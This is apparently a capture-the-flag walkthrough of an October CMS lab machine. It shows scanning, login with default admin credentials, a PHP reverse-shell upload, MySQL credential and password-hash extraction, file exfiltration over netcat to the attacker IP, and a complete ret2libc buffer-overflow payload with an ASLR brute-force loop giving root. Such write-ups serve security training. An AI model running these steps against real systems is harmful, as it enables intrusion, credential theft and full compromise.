Enumeration
As always, we start by scanning the target machine’s open ports:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rustscan --ulimit 5000 10.129.225.172 -- sV -sC -oN nmap_scan
PORT STATE SERVICE REASON VERSION
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBANmRR7UDp17vLPWjPYGFFxhFHygkw1gVmWZCAUO+TBY4OPnIWGRwrG+zyo39zVror9IS7wgI8rGUuwSd0Yc0xOYlrnZ9jvE7x/
80/tcp open ssl/http syn-ack Apache/2.4.7 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 1D585CCF71E2EB73F03BCF484CFC2259
| http-methods:
| Supported Methods: GET HEAD POST PUT PATCH DELETE OPTIONS
|_ Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We get back the following result showing that two ports are open:
- Port 80: running Apache httpd 2.4.7 (October CMS - Vanilla)
- Port 22: running OpenSSH 6.6.1p1
Port 80 - Apache Server
Visiting the web application via the browser, we can see a website that’s apparently built with OctoberCMS using the Vanilla theme.
“October is a self-hosted CMS platform based on the Laravel PHP Framework. Thousands of digital studios and professional web developers have built businesses around October CMS.” (https://octobercms.com/)
At first glance, we have 3 different functionalities: Account, Blog and Forum
Account:
Blog:
Forum:
However, after some further research, I was not able to find any interesting information. Therefore I started feroxbuster to reveal additional directories and files.
1
2
3
4
5
6
7
8
9
10
11
12
feroxbuster -u http://10.129.225.172 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
200 118l 280w 5212c http://10.129.225.172/index.php
200 217l 384w 0c http://10.129.225.172/forum
200 104l 230w 4283c http://10.129.225.172/blog
301 9l 28w 316c http://10.129.225.172/themes
301 9l 28w 317c http://10.129.225.172/modules
200 146l 265w 5116c http://10.129.225.172/account
301 9l 28w 315c http://10.129.225.172/tests
301 9l 28w 317c http://10.129.225.172/storage
301 9l 28w 317c http://10.129.225.172/plugins
302 12l 22w 412c http://10.129.225.172/backend
Some googling has shown, that the admin login is in /backend
:
I then tried some default credentials: username: admin, password: admin. And it worked!
Initial Foothold
As with every CMS, we can try to upload media/themes/plugins. This CMS in particular offers the upload of arbitrary files with the .php5
files (there was already one .php5 file).
Then I simply uploaded a PHP reverse shell and changed the file-ending to php5.
Accessing the file, results in getting a reverse shell.
1
2
3
www-data@october:/var/www$ id && hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
october
My first idea was to investigate the web-app files, as we have full access to those files as user www-data.
I then found a mysql config file, which revealed the mysql creds
october:OctoberCMSPassword!!
I tried to access the mysql database. And it worked!
1
www-data@october:/var/www/html/cms/config$ mysql -u october -p
Here, we can see 2 databases, while only the database october
seems to be of interest. It also contains a table called backend_users
, which contains a password for the user harry
whose home-directory exists in /home/harry
. My idea was to find a password hash for this specific user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| october |
+--------------------+
mysql> select first_name, last_name, login, password from backend_users;
+------------+--------------+-------+--------------------------------------------------------------+
| first_name | last_name | login | password |
+------------+--------------+-------+--------------------------------------------------------------+
| Harry | Varthakouris | harry | $2y$10$4tBYxIpkBpR9.coxVUdeJetCp77EFLp1U2o/f2.wlKaBbe698aIzO |
| Admin | Admin | admin | $2y$10$ozRr2QHKXLJXx/n.rhQO6.2PxEeNXywYozigkq5NrH7TRBLzqrzUG |
+------------+--------------+-------+--------------------------------------------------------------+
Nice! We have the password-hash of harry. Maybe the user also re-used the password on the machine, such that we can successfully switch users. Then, I started hashcat
to crack the hash $2y$10$4tBYxIpkBpR9.coxVUdeJetCp77EFLp1U2o/f2.wlKaBbe698aIzO
which is of the type bcrypt $2*$, Blowfish (Unix)
.
1
hashcat -m 3200 harry_hash /usr/share/wordlists/rockyou.txt -w 4
After hours of attempting to crack the hash of the user ‘harry’ (luckily I had a meeting in that time), I decided to look for another way, as this was apparently not the correct approach.
Next on the list: SUID and Capabilities.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@october:/$ find / -perm -u=s -type f 2>/dev/null
/bin/umount
/bin/ping
/bin/fusermount
/bin/su
/bin/ping6
/bin/mount
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/at
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/local/bin/ovrflw <-- this is very suspicious
Permissions show, that we are able to execute that file with root permissions.
1
2
www-data@october:/usr/local/bin$ ls -la ovrflw
-rwsr-xr-x 1 root root 7377 Apr 21 2017 ovrflw
As the file is called overflow
(or at least a variation of that word), I immediately checked for a buffer overflow.
1
2
3
4
5
6
7
8
9
www-data@october:/usr/local/bin$ ./ovrflw
Syntax: ./ovrflw <input string>
www-data@october:/usr/local/bin$ ./ovrflw A
www-data@october:/usr/local/bin$ ./ovrflw AAAA
www-data@october:/usr/local/bin$ ./ovrflw AAAAAAAAA
www-data@october:/usr/local/bin$ ./ovrflw AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
www-data@october:/usr/local/bin$ ./ovrflw $(python -c "print 'A'*100")
www-data@october:/usr/local/bin$ ./ovrflw $(python -c "print 'A'*150")
Segmentation fault (core dumped)
So as the name says, the program contains a buffer overflow vulnerability …. ufff Binary Exploitation. Let me quickly get my notes of those lectures and courses.
First, let’s transfer the binary to my local machine as I have more suitable tools there:
1
2
3
4
5
www-data@october:/usr/local/bin$ cat ovrflw | nc 10.10.14.19 5555
└─$ nc -lnvp 5555 > ovrflw 130 ⨯
listening on [any] 5555 ...
connect to [10.10.14.19] from (UNKNOWN) [10.129.225.172] 42248
Then let’s check if ASLR is enabled on the target machine:
1
2
www-data@october:/usr/local/bin$ cat /proc/sys/kernel/randomize_va_space
2
Meh … ASLR is enabled. So it’s probably some ROP related exploit.
1
2
3
└─$ checksec --file=ovrflw
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 69) Symbols No 0 2 ovrflw
Also, No eXecute
is enabled. So this is definitely ret2libc
.
On my local machine I have a gdb plugin called gdb-peda
, which is very useful for those tasks.
First, we check how many bytes are needed until we reach the EIP overflow (pattern_create and pattern_offset):
1
2
3
4
5
6
7
8
9
gdb-peda$ pattern_create 2000 /tmp/pattern.txt
gdb-peda$ r $(cat /tmp/pattern.txt)
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
gdb-peda$ pattern_offset 0x41384141
1094205761 found at offset: 112
In order to go for a ret2libc exploit, we first have to find out the libc base address on the target machine.
1
2
www-data@october:/usr/local/bin$ ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757d000)
Libc address is 0xb757d000
. Next, we need the offsets of the system
and exit
function.
1
2
3
4
5
www-data@october:/usr/local/bin$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
www-data@october:/usr/local/bin$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
eystem() offset is 00040310
.
exit() offset is 00033260
.
And finally we need the offset of the argument-string that we want to execute. In our case that’s spawning a shell, so /bin/bash
:
1
2
3
www-data@october:/usr/local/bin$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/"
162bac /bin/sh
164b10 /bin/csh
/bin/sh offset is 162bac
.
Now that we have all necessary addresses and offsets, we can create the final payload. I usually do that with the help of a python script:
1
2
3
4
5
6
7
8
9
10
11
12
13
import struct
libc_base = 0xb757d000
system = libc_base + 0x40310 #system
exit = libc_base + 0x33260 #exit
args = libc_base + 0x162bac #/bin/sh
buffer = "A" * 112
buffer += struct.pack("<I", system)
buffer += struct.pack("<I", exit)
buffer += struct.pack("<I", args)
print buffer
Afterwards, the exploit string can be stored in exploit.txt
1
www-data@october:/tmp$ python exploit.py > exploit.txt
Privilege Escalation
Since ASLR is enabled, but our chosen libc_base address is static, we have to execute our payload many times until the randomized libc_base address matches our chosen libc_base address. Since only 2 bytes are changing (I confirmed that by running ldd /usr/local/bin/ovrflw | grep libc
several times), the chance of hitting the correct libc_base address is quite high.
1
www-data@october:/tmp$ while true; do /usr/local/bin/ovrflw $(cat exploit.txt); done;
There we go! Our exploit worked and we successfully spawned a root shell.